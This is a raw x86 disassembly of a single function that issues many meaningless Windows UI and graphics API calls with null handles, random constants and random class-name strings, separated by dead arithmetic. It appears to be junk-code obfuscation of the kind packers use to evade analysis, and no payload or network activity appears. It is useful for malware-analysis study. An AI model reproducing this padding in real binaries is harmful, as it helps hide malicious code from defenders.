movzx ecx, word [ebp - 0x2c]
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
imul edx, dword [ebp - 0x14]
sub ecx, edx
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 4]
add eax, 0xf
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x78
mov edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x14]
imul eax, edx, 0
sub ecx, eax
xor ecx, 0xffffe1ae
mov byte [ebp - 8], cl
mov dword [ebp - 0x24], 0x2f3
xor ecx, ecx
sub ecx, dword [ebp - 0x18]
movzx edx, word [ebp - 0x14]
xor eax, eax
sub eax, edx
xor ecx, eax
imul edx, dword [ebp - 0x18], 0
and edx, dword [ebp - 0x28]
or ecx, edx
mov dword [ebp - 0x10], ecx
movzx eax, byte [ebp - 0x14]
xor ecx, ecx
sub ecx, eax
movzx edx, byte [ebp - 0x1c]
imul eax, edx, 0
add ecx, eax
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x24]
add ecx, 0x16
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 0
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xd28], 0
xor eax, eax
mov dword [ebp - 0xd24], eax
mov dword [ebp - 0xd20], eax
mov dword [ebp - 0xd1c], eax
push 0xe717e82
push 0
lea ecx, [ebp - 0xd28]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x5d9619
cmp dword [ebp - 0x28], 0
jbe 0x5d9619
cmp dword [ebp - 0x28], 0
jne 0x5d95d7
jmp 0x5d95ef
xor edx, edx
sub edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
shl eax, cl
or edx, eax
mov dword [ebp - 0x2c], edx
movzx ecx, word [ebp - 0xc]
cmp dword [ebp - 0x18], ecx
jne 0x5d9610
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x28]
je 0x5d9610
push 0x858abb
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x18], eax
push 0xaced43f
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x59b8], 0
push 0x2c
push 0
lea eax, [ebp - 0x59b4]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x59b8]
push ecx
push str.uasflnilth
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], 0x1259
jne 0x5d96bf
cmp dword [ebp - 0x18], 0
jne 0x5d96bf
push str.tfasgwtftmfuyeirdilb
push 0xe63b159
push 0xd9bfb02
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0
jb 0x5d96a9
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x28]
jb 0x5d96a9
push 0xe5e63d1
push 0xa0fbc95
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 8], 0x7fe
jne 0x5d96b8
cmp dword [ebp - 0x28], 0
jne 0x5d96bf
mov dword [ebp - 8], 0
cmp dword [ebp - 0x1c], 0
je 0x5d96cb
cmp dword [ebp - 0x18], 0
je 0x5d972f
cmp dword [ebp - 0x28], 0
je 0x5d96d9
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x10]
jne 0x5d96ec
movzx ecx, word [ebp - 0x2c]
movzx edx, byte [ebp - 0xc]
sub ecx, edx
add ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x14], 0
jne 0x5d96fe
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x2c]
mov word [ebp - 0x18], ax
jmp 0x5d970a
mov ecx, 0x62b
sub ecx, dword [ebp - 0x20]
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x20]
je 0x5d972f
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 0xd984026
push 0x904d8a8
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], 0x31f
jb 0x5d9562
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x20]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
lea ecx, [edx + eax - 0x83e]
mov byte [ebp - 0x28], cl
push 0x407a6dc
push 0xfafa73a
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
lea ecx, [edx + eax - 0x19f1]
movzx edx, byte [ebp - 0x2c]
sub ecx, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x33d8], 0
push 0x2c
push 0
lea eax, [ebp - 0x33d4]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x33d8]
push ecx
push str.tntrfmtl
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x72f5852
push 0x99fdcd
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x1c], eax
push 0x561478b
push 0xc5e8599
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 8], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x2c]
movzx eax, byte [ebp - 0x28]
add edx, eax
and ecx, edx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
sub edx, dword [ebp - 0x2c]
xor ecx, ecx
sub ecx, dword [ebp - 0x18]
shl edx, cl
mov dword [ebp - 0x1c], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x20]
movzx ecx, word [ebp - 8]
sub eax, ecx
add eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x24], 0
ja 0x5d99a5
push 0xf7c17b8
push 0x4e9558a
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x18], eax
movzx edx, byte [ebp - 0x28]
add edx, dword [ebp - 0x2c]
mov byte [ebp - 0xc], dl
cmp dword [ebp - 0x14], 0
jne 0x5d98a5
cmp dword [ebp - 0x10], 0
jne 0x5d98a5
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
lea edx, [ecx + eax - 0x1e8b]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
or edx, eax
mov dword [ebp - 0x14], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
push 0xd44376
lea edx, [ebp - 0x20]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0
jmp 0x5d98b7
mov eax, dword [ebp - 0xc]
add eax, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
jae 0x5d9943
cmp dword [ebp - 0x20], 0
jne 0x5d9926
xor ecx, ecx
mov word [ebp - 0x2900], cx
xor edx, edx
mov dword [ebp - 0x28fe], edx
mov dword [ebp - 0x28fa], edx
mov dword [ebp - 0x28f6], edx
mov dword [ebp - 0x28f2], edx
mov dword [ebp - 0x28ee], edx
mov dword [ebp - 0x28ea], edx
mov dword [ebp - 0x28e6], edx
mov dword [ebp - 0x28e2], edx
mov dword [ebp - 0x28de], edx
mov word [ebp - 0x28da], dx
lea eax, [ebp - 0x2900]
push eax
push 0x3a04e53
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x9c49afd
lea edx, [ebp - 0x2c]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 8], eax
jmp 0x5d98ae
cmp dword [ebp - 0x18], 0
je 0x5d9984
xor eax, eax
mov word [ebp - 8], ax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push 0xa520335
push 0xdfad393
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xc]
push eax
push 0x796b09
lea ecx, [ebp - 8]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x10], eax
xor edx, edx
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax - 0x926]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0xf0a
or edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
cmp dword [ebp - 4], 0x3d
jb 0x5d9502
push 0xdfa8b4d
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
push 0x6bdad2
push 0x1400c41
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x6d6be64
lea edx, [ebp - 0x24]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xc]
jae 0x5da1e3
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x14]
ja 0x5d9ab1
cmp dword [ebp - 0x14], 0xa5c
ja 0x5d9ab1
movzx edx, word [ebp - 0x2c]
xor eax, eax
sub eax, edx
movzx ecx, word [ebp - 0x20]
lea edx, [eax + ecx + 0xd03]
mov dword [ebp - 0x10], edx
push 0x1ad72c2
push 0xec5cb51
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x20], eax
xor eax, eax
sub eax, dword [ebp - 0x2c]
sub eax, 0xb01
sub eax, dword [ebp - 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [ebp - 4]
imul edx, ecx, 0
add eax, edx
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x18], eax
push str.erlacifal
push 0x4aac09c
push 0x74cafae
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0xc], eax
movzx eax, byte [ebp - 0xc]
add eax, dword [ebp - 0x28]
movzx ecx, word [ebp - 4]
add eax, ecx
sub eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
push 0x312f4df
push 0x50b6010
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 8], eax
jmp 0x5d9ab7
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x14], 0
jne 0x5d9bcd
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x2c]
movzx ecx, byte [ebp - 8]
lea edx, [eax + ecx + 0x160d]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], edx
xor eax, eax
mov word [ebp - 0xf60], ax
xor ecx, ecx
mov dword [ebp - 0xf5e], ecx
mov dword [ebp - 0xf5a], ecx
mov dword [ebp - 0xf56], ecx
mov dword [ebp - 0xf52], ecx
mov dword [ebp - 0xf4e], ecx
mov dword [ebp - 0xf4a], ecx
mov dword [ebp - 0xf46], ecx
mov dword [ebp - 0xf42], ecx
mov dword [ebp - 0xf3e], ecx
mov word [ebp - 0xf3a], cx
lea edx, [ebp - 0xf60]
push edx
push 0xd0e183d
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
jmp 0x5d9b52
mov eax, dword [ebp - 0x20]
add eax, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xc
jae 0x5d9b92
push 0xe4fb5bf
push 0x4ccbc80
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x1c]
push ecx
push 0xb639e8c
lea edx, [ebp - 0x1c]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x14], eax
movzx eax, byte [ebp - 0x14]
xor ecx, ecx
sub ecx, eax
mov dword [ebp - 0x2c], ecx
jmp 0x5d9b49
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
movzx eax, byte [ebp - 0x18]
movzx ecx, word [ebp - 0x20]
sub eax, ecx
movzx edx, byte [ebp - 0x14]
xor ecx, ecx
sub ecx, edx
imul edx, dword [ebp - 4], 0x13e
sub ecx, edx
shl eax, cl
mov dword [ebp - 0xc], eax
push 0xeccdb3
push 0xab5958e
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x28], eax
mov eax, 0x1574
sub eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], 0
jae 0x5d9bf4
movzx ecx, word [ebp - 0x18]
cmp dword [ebp - 0x1c], ecx
je 0x5d9d6e
mov dword [ebp - 8], 0xa37
mov edx, dword [ebp - 0xc]
add edx, 0x1b40
sub edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0xc]
movzx eax, word [ebp - 0x10]
imul eax, dword [ebp - 0x2c]
sub edx, eax
movzx ecx, word [ebp - 0x2c]
sub edx, ecx
mov dword [ebp - 4], edx
imul edx, dword [ebp - 0x20], 0
sub edx, dword [ebp - 4]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, 0xd
mov dword [ebp - 8], eax
movzx ecx, byte [ebp - 0x1c]
movzx edx, word [ebp - 0x28]
add ecx, edx
sub ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x20], cl
mov dword [ebp - 0x4998], 0
push 0x2c
push 0
lea eax, [ebp - 0x4994]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x4998]
push ecx
push str.tcsyucial
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x14], eax
movzx edx, word [ebp - 0x2c]
mov eax, 0x1926
sub eax, edx
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
lea edx, [eax + ecx - 0x13a2]
sub edx, dword [ebp - 4]
sub edx, 0x138f
mov dword [ebp - 0x24], edx
cmp dword [ebp - 8], 0xa44
jb 0x5d9c1d
mov dword [ebp - 0x168], 0
xor eax, eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
push 0x576f3c5
push 0
lea ecx, [ebp - 0x168]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x10], eax
push str.slrhgebdrr
push 0x5c87aa7
push 0x1c5565b
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x18], eax
mov edx, 0xe5a
sub edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], edx
movzx eax, word [ebp - 0x1c]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 8]
imul edx, dword [ebp - 0x20], 0
add ecx, edx
sub ecx, dword [ebp - 4]
add ecx, 0x6db
or eax, ecx
mov byte [ebp - 0x10], al
mov dword [ebp - 0x3438], 0
push 0x2c
push 0
lea eax, [ebp - 0x3434]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x3438]
push ecx
push str.merihegtthfgsmea
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0xc]
add edx, 0x14b6
or edx, 0x1e7b
mov dword [ebp - 8], edx
push 0x6178f9c
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x2c], eax
push 0xaa7903d
push 0x5d79721
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x14], eax
imul eax, dword [ebp - 0x14], 0x18ee
xor ecx, ecx
sub ecx, eax
add ecx, dword [ebp - 8]
movzx edx, byte [ebp - 4]
imul eax, edx, 0
sub ecx, eax
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
shl edx, cl
mov word [ebp - 0x20], dx
cmp dword [ebp - 0x2c], 0
jb 0x5d9f64
cmp dword [ebp - 0xc], 0
jb 0x5d9f64
mov dword [ebp - 0x24], 0
jmp 0x5d9ddc
mov eax, dword [ebp - 0x24]
add eax, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x24
jae 0x5d9ecf
mov dword [ebp - 0x5478], 0
push 0x2c
push 0
lea ecx, [ebp - 0x5474]
push ecx
call fcn.005ff470
add esp, 0xc
lea edx, [ebp - 0x5478]
push edx
push str.ticaucnxeesowtoin
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x76
jmp 0x5d9e2c
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x77
jae 0x5d9e93
xor ecx, ecx
mov word [ebp - 0x2090], cx
xor edx, edx
mov dword [ebp - 0x208e], edx
mov dword [ebp - 0x208a], edx
mov dword [ebp - 0x2086], edx
mov dword [ebp - 0x2082], edx
mov dword [ebp - 0x207e], edx
mov dword [ebp - 0x207a], edx
mov dword [ebp - 0x2076], edx
mov dword [ebp - 0x2072], edx
mov dword [ebp - 0x206e], edx
mov word [ebp - 0x206a], dx
lea eax, [ebp - 0x2090]
push eax
push 0xef181a7
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x18], eax
jmp 0x5d9e23
mov dword [ebp - 0x768], 0
xor ecx, ecx
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x760], ecx
mov dword [ebp - 0x75c], ecx
push 0x93496c2
push 0
lea edx, [ebp - 0x768]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x1c], eax
jmp 0x5d9dd3
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax - 0xfb1]
sub edx, dword [ebp - 0x2c]
or edx, dword [ebp - 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 0xf6dcbe
push 0xa1808fc
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x1c]
push edx
push 0x4ae92c3
lea eax, [ebp - 0xc]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x20], eax
imul ecx, dword [ebp - 0x14], 0
movzx edx, word [ebp - 0x14]
sub ecx, edx
sub ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 4], ecx
push str.eehbs
push 0xc50b4b2
push 0xbfa6062
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 8], eax
movzx eax, byte [ebp - 0x18]
xor ecx, ecx
sub ecx, eax
sub ecx, 0x103a
movzx edx, word [ebp - 0x14]
sub ecx, edx
sub ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], ecx
xor eax, eax
sub eax, dword [ebp - 0x28]
movzx ecx, word [ebp - 0x20]
shr eax, cl
movzx ecx, byte [ebp - 0xc]
sub ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x14]
and eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x1c]
movzx eax, word [ebp - 4]
imul eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
shr edx, cl
mov dword [ebp - 8], edx
movzx ecx, word [ebp - 8]
cmp dword [ebp - 0xc], ecx
je 0x5da12d
cmp dword [ebp - 0x14], 0
jae 0x5da12d
imul edx, dword [ebp - 0x28], 0
imul eax, edx, 0x1dec
movzx ecx, byte [ebp - 0x20]
lea edx, [eax + ecx - 0x1168]
mov byte [ebp - 8], dl
movzx eax, byte [ebp - 0x28]
mov ecx, dword [ebp - 8]
lea edx, [eax + ecx + 0xcbd]
mov dword [ebp - 4], edx
mov dword [ebp - 0x18], 0
jmp 0x5d9fed
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x10
jae 0x5da055
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x159999f
push 0x5a216e2
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0xc], eax
xor eax, eax
sub eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
movzx ecx, byte [ebp - 8]
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x20], 0x77d
jmp 0x5da033
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0x77f
jae 0x5da053
push 0x47f0358
push 0x8184bab
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x28], eax
jmp 0x5da02a
jmp 0x5d9fe4
imul eax, dword [ebp - 0x1c], 0
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
sub edx, ecx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x10]
or edx, eax
mov dword [ebp - 0xc], edx
xor ecx, ecx
mov word [ebp - 0xfb0], cx
xor edx, edx
mov dword [ebp - 0xfae], edx
mov dword [ebp - 0xfaa], edx
mov dword [ebp - 0xfa6], edx
mov dword [ebp - 0xfa2], edx
mov dword [ebp - 0xf9e], edx
mov dword [ebp - 0xf9a], edx
mov dword [ebp - 0xf96], edx
mov dword [ebp - 0xf92], edx
mov dword [ebp - 0xf8e], edx
mov word [ebp - 0xf8a], dx
lea eax, [ebp - 0xfb0]
push eax
push 0x9b0a099
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x18], eax
movzx ecx, byte [ebp - 0x20]
imul edx, ecx, 0
movzx eax, word [ebp - 0x24]
imul edx, eax
xor ecx, ecx
sub ecx, edx
add ecx, dword [ebp - 4]
imul edx, dword [ebp - 4], 0
imul eax, edx, 0
movzx edx, word [ebp - 0x2c]
imul eax, edx
sub ecx, eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x188], 0
xor eax, eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
push 0x117f2c0
push 0
lea ecx, [ebp - 0x188]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x18], 0
je 0x5da1d5
mov edx, dword [ebp - 4]
sub edx, 0x8f2
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
shl edx, cl
mov dword [ebp - 0x28], edx
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x24], 0x8ec
xor eax, eax
mov word [ebp - 0x18], ax
xor ecx, ecx
sub ecx, dword [ebp - 4]
imul edx, dword [ebp - 0xc], 0
sub ecx, edx
add ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x24]
add eax, 0xc
mov dword [ebp - 0x24], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], ecx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x28], eax
movzx edx, word [ebp - 0xc]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edx
push str.ameoci
push 0x946f2ab
push 0x17f6aa9
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x24], 0x910
jb 0x5da15c
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x10]
movzx ecx, byte [ebp - 0x18]
add eax, ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x24]
or eax, edx
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xffffe598
xor eax, eax
sub eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x1c]
or eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x18], 0x3fa
jne 0x5da93a
push 0x835ae04
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x2c]
jb 0x5da212
cmp dword [ebp - 0x18], 0
ja 0x5da2af
mov edx, dword [ebp - 0x10]
add edx, 0x362
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x10]
xor edx, eax
or edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
movzx ecx, byte [ebp - 0x10]
mov dword [ebp - 0xc], ecx
push 0xfd0f884
push 0x9311dbe
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x24], eax
push 0x3b3502b
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0x1141da0
push 0x9964889
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 4], eax
mov dword [ebp - 0x3498], 0
push 0x2c
push 0
lea ecx, [ebp - 0x3494]
push ecx
call fcn.005ff470
add esp, 0xc
lea edx, [ebp - 0x3498]
push edx
push str.ajiyae
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x10]
movzx ecx, word [ebp - 4]
imul ecx, dword [ebp - 0xc]
movzx edx, byte [ebp - 0x2c]
add ecx, edx
and eax, ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x5da2de
movzx eax, word [ebp - 0x18]
cmp dword [ebp - 0x1c], eax
je 0x5da375
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x14]
movzx edx, byte [ebp - 8]
imul eax, edx, 0
imul edx, eax, 0
add edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x14]
and ecx, edx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x14]
push eax
push 0xc1e2626
lea ecx, [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xa68], 0
xor edx, edx
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xa5c], edx
push 0xef1e37c
push 0
lea eax, [ebp - 0xa68]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 8], eax
xor ecx, ecx
sub ecx, dword [ebp - 4]
movzx edx, byte [ebp - 0x28]
sub ecx, edx
add ecx, 0x1507
mov dword [ebp - 0x2c], ecx
movzx eax, byte [ebp - 4]
movzx ecx, word [ebp - 0xc]
add eax, ecx
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
movzx edx, byte [ebp - 0x14]
cmp dword [ebp - 0xc], edx
jne 0x5da45b
push 0x54ceae0
push 0x65594bb
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x49f8], 0
push 0x2c
push 0
lea eax, [ebp - 0x49f4]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x49f8]
push ecx
push str.rddutideyiteeeiaoe
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x20]
imul eax, dword [ebp - 0x2c], 0
sub edx, eax
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x28], edx
push str.sgse
push 0x96470f5
push 0x6d98e7e
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x20], eax
